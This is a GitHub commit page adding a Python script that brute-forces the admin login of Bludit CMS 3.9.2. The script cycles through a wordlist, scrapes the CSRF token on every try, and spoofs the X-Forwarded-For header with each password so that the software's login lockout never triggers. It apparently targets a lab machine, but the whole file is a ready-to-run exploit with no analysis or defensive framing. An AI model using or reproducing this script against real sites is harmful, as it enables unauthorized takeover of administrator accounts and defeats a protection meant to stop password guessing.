Skip to content

Commit bfbb103

Browse files
Merge pull request #1 from srikanthprathi/Pre-Master
Create bludit-CMD-3.9.2-Brute-Force-Protection-Bypass-script.py
2 parents 6e7c077 + dc8a840 commit bfbb103

File tree

1 file changed

+43
-0
lines changed

1 file changed

+43
-0
lines changed
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
#!/usr/bin/env python3
2+
import re
3+
import requests
4+
5+
host = 'http://192.168.0.2' # Change this with the target box IP address
6+
login_url = host + '/admin/login'
7+
username = 'admin'
8+
wordlist = '/home/kali/wordlists.txt'
9+
10+
with open(wordlist) as f:
11+
content = f.readlines()
12+
word = [x.strip() for x in content]
13+
word_list = word
14+
15+
for password in word_list:
16+
session = requests.Session()
17+
login_page = session.get(login_url)
18+
csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"', login_page.text).group(1)
19+
20+
print('[*] Trying: {p}'.format(p = password))
21+
22+
headers = {
23+
'X-Forwarded-For': password,
24+
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36',
25+
'Referer': login_url
26+
}
27+
28+
data = {
29+
'tokenCSRF': csrf_token,
30+
'username': username,
31+
'password': password,
32+
'save': ''
33+
}
34+
35+
login_result = session.post(login_url, headers = headers, data = data, allow_redirects = False)
36+
37+
if 'location' in login_result.headers:
38+
if '/admin/dashboard' in login_result.headers['location']:
39+
print()
40+
print('SUCCESS: Password found!')
41+
print('Use {u}:{p} to login.'.format(u = username, p = password))
42+
print()
43+
break

0 commit comments

Comments
 (0)